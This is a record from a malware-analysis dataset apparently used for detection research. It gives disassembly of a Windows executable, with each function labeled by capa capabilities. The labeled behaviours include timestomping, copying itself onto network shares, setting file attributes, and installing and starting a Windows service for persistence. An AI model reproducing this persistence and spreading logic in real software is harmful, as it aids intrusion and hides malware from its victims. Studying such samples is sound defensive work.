joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404685
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
lea eax, [ebp - 4]
push esi
push eax
xor esi, esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x4046a9
xor eax, eax
jmp 0x404700
lea eax, [ebp - 0x10c]
push 0x104
push eax
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
jne 0x4046f2
cmp dword [ebp + 0x10], eax
je 0x4046eb
and dword [ebp - 8], eax
push dword [ebp + 0x14]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10c]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [ebp + 0x10]
add esp, 0x14
cmp dword [ebp - 8], 0
jne 0x4046ee
inc esi
jmp 0x4046a9
mov esi, eax
jmp 0x4046f5
push 1
pop esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret

Function at 0x404703
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
push ebx
lea eax, [ebp - 4]
push esi
push eax
push dword [ebp + 0xc]
mov esi, 0x400
xor ebx, ebx
mov dword [ebp - 0x10], esi
push dword [ebp + 8]
mov dword [ebp - 8], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x404733
xor eax, eax
jmp 0x4047a6
lea eax, [ebp - 8]
mov dword [ebp - 0x10], esi
push eax
lea eax, [ebp - 0x814]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push 0
push eax
lea eax, [ebp - 0x414]
mov dword [ebp - 8], esi
push eax
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x404798
cmp dword [ebp - 0x14], 1
jne 0x404791
cmp dword [ebp + 0x10], eax
je 0x404791
and dword [ebp - 0xc], eax
push dword [ebp + 0x14]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x414]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [ebp + 0x10]
add esp, 0x14
cmp dword [ebp - 0xc], 0
jne 0x404794
inc ebx
jmp 0x404733
mov esi, eax
jmp 0x40479b
push 1
pop esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x4047d6
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
xor esi, esi
push 0x44
lea eax, [ebp - 0x54]
push esi
push eax
call fcn.004076e0
add esp, 0xc
lea eax, [ebp - 0x10]
mov dword [ebp - 0x54], 0x44
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop esi
and eax, dword [ebp - 0x10]
leave
ret
Function at 0x404a0c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x51c
and dword [ebp - 4], 0
cmp dword [0x4938f0], 0
jne 0x404a47
push 4
push 0x410252
call fcn.00403472
lea ecx, [ebp - 4]
push ecx
push 0x40493e
push eax
push closesocket
call fcn.00404685
add esp, 0x18
jmp 0x404a83
lea eax, [ebp - 0x418]
push 2
push eax
call fcn.00403cd7
lea eax, [ebp - 0x418]
push eax
push 0x4934e0
call fcn.00407740
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x418]
push 0x4048aa
push eax
push closesocket
call fcn.00404703
add esp, 0x20
mov eax, dword [ebp - 4]
test eax, eax
mov dword [0x4938f4], eax
jne 0x404b64
push esi
lea eax, [ebp - 0x51c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor esi, esi
and byte [ebp - 0x18], 0
lea eax, [ebp - 0x18]
push 0x41078d
push eax
call fcn.00407740
pop ecx
lea eax, [ebp - 0x18]
pop ecx
push 4
push 4
push 2
push eax
call fcn.00407830
pop ecx
lea eax, [ebp + eax - 0x18]
push eax
call fcn.00403723
lea eax, [ebp - 0x17]
push eax
call fcn.0040c99c
lea eax, [ebp - 0x51c]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00407740
lea eax, [ebp - 0x418]
push 0x40f044
push eax
call fcn.00407750
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00407750
lea eax, [ebp - 0x418]
push 0x4101dc
push eax
call fcn.00407750
lea eax, [ebp - 0x418]
push eax
call fcn.00403e57
add esp, 0x38
test eax, eax
je 0x404b41
inc esi
cmp esi, 0xa
jl 0x404aa8
lea eax, [ebp - 0x18]
push eax
push 0x4933dc
call fcn.00407750
lea eax, [ebp - 0x418]
push eax
push 0x4935e4
call fcn.00407740
add esp, 0x10
pop esi
push 1
pop eax
leave
ret

Function at 0x404cb9
Capabilities:
Parse pe header

Disassembly:
push esi
mov esi, dword [esp + 0xc]
cmp esi, 0x44
jb 0x404cf4
mov ecx, dword [esp + 8]
cmp byte [ecx], 0x4d
jne 0x404cf4
cmp byte [ecx + 1], 0x5a
jne 0x404cf4
movzx eax, word [ecx + 0x3c]
add eax, ecx
add esi, 0xfffffffc
mov edx, eax
sub edx, ecx
cmp edx, esi
ja 0x404cf4
mov eax, dword [eax]
pop esi
sub eax, 0x4550
neg eax
sbb eax, eax
not eax
and eax, edx
ret
xor eax, eax
pop esi
ret
Function at 0x40521a
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
push ebx
push esi
push edi
push 3
pop edi
lea ecx, [ebp - 0x30]
call fcn.0040174b
push dword [ebp + 0x10]
call fcn.00407830
mov esi, eax
pop ecx
lea eax, [ebp - 0x18]
add esi, 0x20
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
and word [ebp - 0x16], 0xfffe
xor ebx, ebx
push ebx
call fcn.004047aa
pop ecx
xor edx, edx
push 0x1e
pop ecx
div ecx
sub word [ebp - 0xe], dx
cmp word [ebp - 0xe], 0x3c
jb 0x405270
mov word [ebp - 0xe], 1
mov al, byte [ebp - 0xe]
mov ecx, dword [ebp - 0x10]
and eax, 0x3f
shl ecx, 6
or eax, ecx
mov cl, byte [ebp - 0xc]
shr cl, 1
shl eax, 5
and ecx, 0x1f
or eax, ecx
mov cl, byte [ebp - 2]
mov word [ebp - 4], ax
mov eax, dword [ebp - 0x18]
add eax, 0x44
and ecx, 0x1f
shl eax, 9
xor eax, ecx
mov cl, byte [ebp - 0x16]
and ecx, 0xf
and ax, 0xfe1f
shl ecx, 5
or eax, ecx
mov cl, byte [ebp - 0x12]
mov word [ebp - 2], ax
xor cl, byte [ebp - 2]
and ecx, 0x1f
xor ax, cx
cmp dword [ebp + 0x14], ebx
mov word [ebp - 2], ax
je 0x4052cb
push 2
pop edi
push 0x20
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
push 0x20
push edi
push ebx
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
mov dword [ebp - 8], edi
je 0x40531f
push 2
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 0x1c]
push 1
push eax
lea ecx, [ebp - 0x30]
push dword [ebp + 0xc]
call fcn.0040174e
cmp eax, ebx
mov dword [ebp + 0xc], eax
jne 0x405326
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x405419
mov eax, dword [ebp - 0x1c]
mov byte [ebp - 0x14e], 0x74
push eax
mov word [ebp - 0x14d], 0x8000
push dword [ebp + 0xc]
mov word [ebp - 0x14b], si
mov dword [ebp - 0x149], eax
mov dword [ebp - 0x145], eax
mov byte [ebp - 0x141], bl
call fcn.004051b2
push dword [ebp + 0x10]
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 4]
mov byte [ebp - 0x138], 0x14
mov dword [ebp - 0x13c], eax
mov byte [ebp - 0x137], 0x30
call fcn.00407830
push dword [ebp + 0x10]
mov word [ebp - 0x136], ax
lea eax, [ebp - 0x130]
mov dword [ebp - 0x134], ebx
push eax
call fcn.00407740
movzx edi, si
lea eax, [edi - 2]
push eax
lea eax, [ebp - 0x14e]
push eax
call fcn.004051b2
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
add esp, 0x1c
cmp dword [ebp + 0x14], ebx
mov word [ebp - 0x150], ax
je 0x4053d5
lea eax, [ebp - 0x20]
push ebx
push eax
push 0x14
push 0x410dac
push dword [ebp - 8]
call esi
lea eax, [ebp - 0x20]
push ebx
push eax
lea eax, [ebp - 0x150]
push edi
push eax
push dword [ebp - 8]
call esi
lea eax, [ebp - 0x20]
push ebx
push eax
push dword [ebp - 0x1c]
push dword [ebp + 0xc]
push dword [ebp - 8]
call esi
lea ecx, [ebp - 0x30]
call fcn.00401808
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp + 0x14], ebx
je 0x405416
push dword [ebp + 8]
call fcn.00405516
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405516
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
xor esi, esi
push edi
push esi
push 0x20
push 3
push esi
push 1
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, esi
je 0x4055ee
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push esi
call fcn.004047aa
push 0x3c
xor edx, edx
pop ecx
div ecx
push esi
mov word [ebp - 0xe], dx
call fcn.004047aa
pop ecx
xor edx, edx
pop ecx
push 0x18
pop ecx
div ecx
sub word [ebp - 0x10], dx
cmp word [ebp - 0x10], si
jg 0x40557c
add word [ebp - 0x10], cx
dec word [ebp - 0x12]
push esi
call fcn.004047aa
pop ecx
xor edx, edx
push 0x1c
pop ecx
div ecx
sub word [ebp - 0x12], dx
cmp word [ebp - 0x12], si
jg 0x4055a6
push esi
call fcn.004047aa
pop ecx
xor edx, edx
push 3
pop ecx
div ecx
mov word [ebp - 0x12], dx
push esi
call fcn.004047aa
pop ecx
xor edx, edx
push 0xc
pop ecx
div ecx
sub word [ebp - 0x16], dx
cmp word [ebp - 0x16], si
jg 0x4055c6
add word [ebp - 0x16], cx
dec word [ebp - 0x18]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
leave
ret

Function at 0x4055f2
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
push edi
push 1
pop ebx
push ebx
call fcn.004047aa
mov esi, 0x104
xor edi, edi
push esi
push edi
push 0x4937ec
call fcn.004076e0
push esi
push edi
push 0x4936e8
call fcn.004076e0
push esi
push edi
push 0x4935e4
call fcn.004076e0
push esi
push edi
push 0x4934e0
call fcn.004076e0
push esi
push edi
push 0x4933dc
call fcn.004076e0
add esp, 0x40
push 0x40f0d0
push 0x2266
push 0x40f0d4
call fcn.00403628
push 0x4938f8
call fcn.00402680
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetVersion]
and eax, 0x80000000
mov dword [0x493900], edi
mov dword [0x4938f0], eax
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x94], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x90], 5
jne 0x4056b2
cmp dword [ebp - 0x8c], ebx
jne 0x4056b2
mov dword [0x493900], ebx
call fcn.00404a0c
mov esi, 0x7d000
push esi
call fcn.00407f7f
cmp eax, edi
pop ecx
mov dword [0x4933d8], eax
jne 0x4056d0
xor eax, eax
jmp 0x4056f4
push esi
push edi
push eax
call fcn.004076e0
call fcn.004057b2
push ebx
push 0x410e04
call fcn.00403472
push eax
push edi
call fcn.0040543d
add esp, 0x1c
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4057b2
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push ebp
push esi
push edi
push 2
push 0x410b93
call fcn.00403472
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop ecx
pop ecx
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
test ebp, ebp
mov edi, 0x410c93
je 0x405817
push 1
push edi
call fcn.00403472
pop ecx
pop ecx
push eax
push ebp
call esi
push 4
push edi
mov dword [0x493908], eax
call fcn.00403472
pop ecx
pop ecx
push eax
push ebp
call esi
push 5
push edi
mov dword [0x493904], eax
call fcn.00403472
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x49390c], eax
push 3
push 0x410b93
call fcn.00403472
pop ecx
pop ecx
push eax
call ebx
mov ebp, eax
test ebp, ebp
je 0x405841
push 3
push edi
call fcn.00403472
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x493910], eax
mov edi, 0x410dc8
push edi
call ebx
mov ebx, eax
test ebx, ebx
je 0x405862
push 1
push edi
call fcn.00403472
pop ecx
pop ecx
push eax
push ebx
call esi
mov dword [0x493914], eax
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x405b03
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
push esi
lea ecx, [ebp - 0x18]
call fcn.0040174b
and dword [ebp - 4], 0
lea eax, [ebp - 8]
push 1
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x18]
call fcn.0040174e
mov esi, eax
test esi, esi
je 0x405bc7
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x11c]
push eax
push dword [ebp + 8]
call fcn.004078ab
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00407750
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00407750
and byte [ebp - 0x21b], 0
lea eax, [ebp - 0x21f]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00407750
lea eax, [ebp - 0x11c]
push 0x4101dc
push eax
call fcn.00407750
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push esi
call fcn.00407560
mov esi, eax
add esp, 0x40
test esi, esi
lea ecx, [ebp - 0x18]
jne 0x405bcb
call fcn.00401808
xor eax, eax
jmp 0x405c1f
call fcn.00401808
push dword [ebp - 4]
lea eax, [ebp - 0x11c]
push esi
push eax
call fcn.00403dba
push esi
call fcn.00407bdb
add esp, 0x10
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004047d6
pop ecx
test eax, eax
pop ecx
je 0x405c1d
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x11c]
push eax
call fcn.00403ef9
pop ecx
push 1
pop esi
mov eax, esi
pop esi
leave
ret

Function at 0x4060fa
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
and byte [ebp - 0x10c], 0
push ebx
lea eax, [ebp - 0x10c]
push 0x104
push eax
push 1
push 0x41096d
call fcn.00403472
pop ecx
pop ecx
push eax
push 0x410252
push closesocket
call fcn.004045e3
lea eax, [ebp - 0x10c]
push eax
call fcn.00405eba
movsx eax, byte [ebp - 0x10c]
mov bl, byte [ebp - 0x10a]
push eax
call fcn.00407abe
add esp, 0x1c
and dword [ebp - 8], 0
mov byte [ebp - 1], al
mov al, byte [ebp - 8]
add al, 0x61
cmp al, byte [ebp - 1]
je 0x4061a4
and byte [ebp - 0x10a], 0
mov byte [ebp - 0x10c], al
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
mov byte [ebp - 0x10a], bl
jne 0x4061a4
push dword [ebp + 8]
lea eax, [ebp - 0x10c]
push 0x4060a2
push eax
call fcn.00403f10
add esp, 0xc
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x1a
jl 0x40615e
xor eax, eax
pop ebx
leave
ret 4
Function at 0x406a2a
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x560
mov ax, word [0x4128f4]
push esi
push edi
push 7
mov word [ebp - 0x60], ax
pop ecx
xor eax, eax
lea edi, [ebp - 0x5e]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, dword [0x4128f0]
lea edi, [ebp - 0x18]
mov dword [ebp - 0x1c], eax
xor eax, eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor edi, edi
mov dword [ebp - 0x20], 0x20
cmp dword [0x4938f0], edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], edi
jne 0x406c55
cmp dword [0x493908], edi
je 0x406c55
mov esi, dword [ebp + 8]
cmp esi, edi
je 0x406aae
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp - 0x80]
push eax
lea eax, [esi + 2]
push eax
call fcn.0040c910
pop ecx
test eax, eax
pop ecx
je 0x406c55
lea eax, [ebp - 0xa8]
or dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x150]
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x150]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x80]
push ebx
push eax
lea eax, [ebp - 0x60]
mov dword [ebp - 0x3c], edi
push eax
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x34], 0x7f
call fcn.00407750
pop ecx
lea eax, [ebp - 0xe8]
pop ecx
push 0x22
push eax
push 0xffffffffffffffff
push esi
mov esi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 1
push edi
call esi
mov dword [ebp - 4], 2
mov ebx, 0x40f044
mov al, byte [ebp - 4]
push 0x14
add al, 0x41
mov byte [ebp - 0x1c], al
lea eax, [ebp - 0xa8]
push eax
lea eax, [ebp - 0x1c]
push 0xffffffffffffffff
push eax
push 1
push edi
call esi
mov al, byte [ebp - 0x1c]
push 0x34
mov byte [ebp - 0x60], al
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x60]
push 0xffffffffffffffff
push eax
push 1
push edi
call esi
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0xe8]
push 2
push eax
call dword [0x493908]
cmp dword [ebp + 0xc], edi
mov dword [ebp - 0x10], eax
je 0x406c47
cmp eax, edi
jne 0x406bcd
cmp dword [ebp - 8], edi
jne 0x406bcd
push 1
push 0x4101dc
push edi
call fcn.004047aa
pop ecx
and eax, 1
push eax
lea eax, [ebp - 0x45c]
push eax
call fcn.00404255
lea eax, [ebp - 0x358]
push ebx
push eax
call fcn.00407740
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x358]
push eax
call fcn.00407750
push 1
lea eax, [ebp - 0x45c]
push edi
push eax
lea eax, [ebp - 0x358]
push edi
push eax
push dword [ebp + 8]
call fcn.0040284d
add esp, 0x38
mov dword [ebp - 8], eax
cmp dword [ebp - 0x10], edi
jne 0x406c47
push 1
push 0x410dc2
lea eax, [ebp - 0x560]
push edi
push eax
call fcn.00404255
push dword [ebp + 8]
lea eax, [ebp - 0x254]
push eax
call fcn.00407740
lea eax, [ebp - 0x254]
push ebx
push eax
call fcn.00407750
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x254]
push eax
call fcn.00407750
lea eax, [ebp - 0x254]
push ebx
push eax
call fcn.00407750
lea eax, [ebp - 0x560]
push eax
lea eax, [ebp - 0x254]
push eax
call fcn.00407750
push 1
push 0xffffffffffffffff
lea eax, [ebp - 0x254]
push 0xffffffffffffffff
push eax
call fcn.00407040
add esp, 0x48
inc dword [ebp - 4]
cmp dword [ebp - 4], 5
jl 0x406b10
pop ebx
pop edi
pop esi
leave
ret
Function at 0x406c59
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x439c
call fcn.00407f50
lea eax, [ebp + 0xc]
push edi
push eax
or dword [ebp - 4], 0xffffffff
push dword [ebp + 8]
mov dword [ebp - 8], 0x3e80
push 3
push 1
pop edi
push edi
push dword [ebp + 0xc]
call sub.MPR.dll_WNetOpenEnumA
test eax, eax
jne 0x406dcf
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x439c]
push eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
call sub.MPR.dll_WNetEnumResourceA
xor ebx, ebx
cmp dword [ebp - 4], ebx
mov dword [ebp + 8], ebx
jbe 0x406dc6
push esi
lea esi, [ebp - 0x4388]
test byte [esi - 8], 2
lea eax, [esi - 0x14]
je 0x406cd8
push dword [ebp + 0x10]
push 2
push eax
call fcn.00406c59
add esp, 0xc
jmp 0x406db3
lea eax, [ebp - 0x314]
push eax
lea eax, [ebp - 0x210]
push eax
push dword [esi]
call fcn.00404bc6
add esp, 0xc
test eax, eax
jne 0x406db3
push dword [ebp + 0x10]
lea eax, [ebp - 0x210]
push eax
call fcn.00406a2a
pop ecx
pop ecx
push edi
push 0x4101dc
push ebx
call fcn.004047aa
pop ecx
and eax, edi
push eax
lea eax, [ebp - 0x51c]
push eax
call fcn.00404255
add esp, 0x10
cmp dword [ebp + 0x10], ebx
je 0x406db3
push edi
lea eax, [ebp - 0x51c]
push ebx
push eax
lea eax, [ebp - 0x314]
push ebx
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.0040284d
add esp, 0x18
push edi
push 0x410dc2
push ebx
call fcn.004047aa
pop ecx
and eax, edi
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00404255
push dword [esi]
lea eax, [ebp - 0x10c]
push eax
call fcn.00407740
lea eax, [ebp - 0x10c]
push 0x40f044
push eax
call fcn.00407750
lea eax, [ebp - 0x418]
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.00407750
push edi
push 0xffffffffffffffff
lea eax, [ebp - 0x10c]
push 0xffffffffffffffff
push eax
call fcn.00407040
add esp, 0x38
inc dword [ebp + 8]
add esi, 0x20
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 4]
jb 0x406cbc
pop esi
push dword [ebp + 0xc]
call sub.MPR.dll_WNetCloseEnum
pop ebx
pop edi
leave
ret
Function at 0x406df1
Capabilities:
Copy file
Create service
Persist via windows service
Set file attributes
Start service

Disassembly:
mov eax, 0x2384
call fcn.00407f50
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, 0x4935e4
push 0x20
push esi
call edi
push ebx
lea eax, [esp + 0x18]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x20
push esi
mov dword [esp + 0x18], eax
call edi
cmp dword [esp + 0x10], ebx
je 0x406e94
push 0x227a
lea eax, [esp + 0x11c]
push 0x40f0c0
push eax
call fcn.00407bf0
lea eax, [esp + 0x124]
mov byte [esp + 0x1138], bl
push eax
push esi
call fcn.004056f9
push 0x15000
push esi
call fcn.00404fb9
push ebx
call fcn.004047aa
xor edx, edx
mov ecx, 0x2800
div ecx
add edx, 0x15200
push edx
push esi
call fcn.00404062
add esp, 0x28
push esi
call fcn.00405516
pop ecx
push 0x27
push esi
call edi
cmp dword [0x4938f0], ebx
mov edi, 0x4933dc
je 0x406ef2
push esi
push edi
push 0x4934e0
push closesocket
call fcn.0040463f
push 1
push 0x410b93
call fcn.00403472
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
push 0x410c93
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x406eeb
push 1
push ebx
call eax
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [esp + 0x10], ebx
jne 0x406efc
xor eax, eax
jmp 0x406f71
cmp dword [0x4938f0], ebx
je 0x406f0f
push ebx
push esi
call fcn.004047d6
pop ecx
pop ecx
jmp 0x406f6e
cmp dword [0x4938f8], ebx
jne 0x406f6e
mov ebp, dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 2
push ebx
push ebx
call ebp
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
push ebx
push 2
push 0x110
push ebx
push edi
push edi
push eax
mov dword [esp + 0x44], eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push 1
push ebx
push ebx
call ebp
mov ebp, eax
push 0x10
push edi
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push edi
call esi
push ebp
call esi
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2384
ret
Function at 0x407040
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2590
call fcn.00407f50
mov eax, dword [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 0xc]
xor ebx, ebx
push edi
cmp dword [ebp + 0x14], ebx
mov dword [ebp - 4], esi
mov dword [ebp - 8], eax
jne 0x407074
push dword [ebp + 8]
call fcn.00404819
test eax, eax
pop ecx
jne 0x4071b2
mov edi, 0x410d74
push ebx
push edi
call fcn.004034a2
pop ecx
cmp esi, ebx
pop ecx
mov dword [ebp + 0xc], eax
jge 0x407098
push ebx
call fcn.004047aa
xor edx, edx
pop ecx
div dword [ebp + 0xc]
mov dword [ebp - 4], edx
mov esi, 0x4101dc
push ebx
push esi
call fcn.004034a2
cmp dword [ebp + 0x10], ebx
pop ecx
pop ecx
mov dword [ebp + 0xc], eax
jge 0x4070bd
push ebx
call fcn.004047aa
xor edx, edx
pop ecx
div dword [ebp + 0xc]
mov dword [ebp - 8], edx
lea eax, [ebp - 0x10c]
push eax
call fcn.00403e8b
lea eax, [ebp - 0x314]
mov dword [esp], 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x10c]
push ebx
push eax
lea eax, [ebp - 0x314]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x4071b2
lea eax, [ebp - 0x10c]
push 0x20
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x227a
lea eax, [ebp - 0x2590]
push 0x40f0c0
push eax
call fcn.00407bf0
lea eax, [ebp - 0x2590]
mov byte [ebp - 0x157c], bl
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.004056f9
push ebx
call fcn.004047aa
xor edx, edx
mov ecx, 0x2800
div ecx
lea eax, [ebp - 0x10c]
add edx, 0x15200
push edx
push eax
call fcn.00404062
push dword [ebp - 4]
push edi
call fcn.00403472
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.00407740
push dword [ebp - 8]
push esi
call fcn.00403472
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.00407750
add esp, 0x40
lea eax, [ebp - 0x210]
push dword [ebp + 0x14]
push eax
lea eax, [ebp - 0x10c]
push eax
push dword [ebp + 8]
call fcn.0040521a
lea eax, [ebp - 0x10c]
push eax
call fcn.00403ef9
add esp, 0x14
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4072e6
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
lea eax, [ebp - 4]
xor edi, edi
push eax
push edi
push edi
push 0x4015ff
push edi
push edi
call esi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x4065fc
push edi
push edi
call esi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x406dd2
push edi
push edi
call esi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x40605a
push edi
push edi
call esi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x4071c1
push edi
push edi
call esi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x406fc9
push edi
push edi
call esi
xor ebx, ebx
lea eax, [ebp - 4]
push eax
push edi
push ebx
push 0x406f7c
push edi
push edi
call esi
inc ebx
cmp ebx, 0x1a
jl 0x407351
call fcn.004071b7
pop edi
pop esi
pop ebx
leave
ret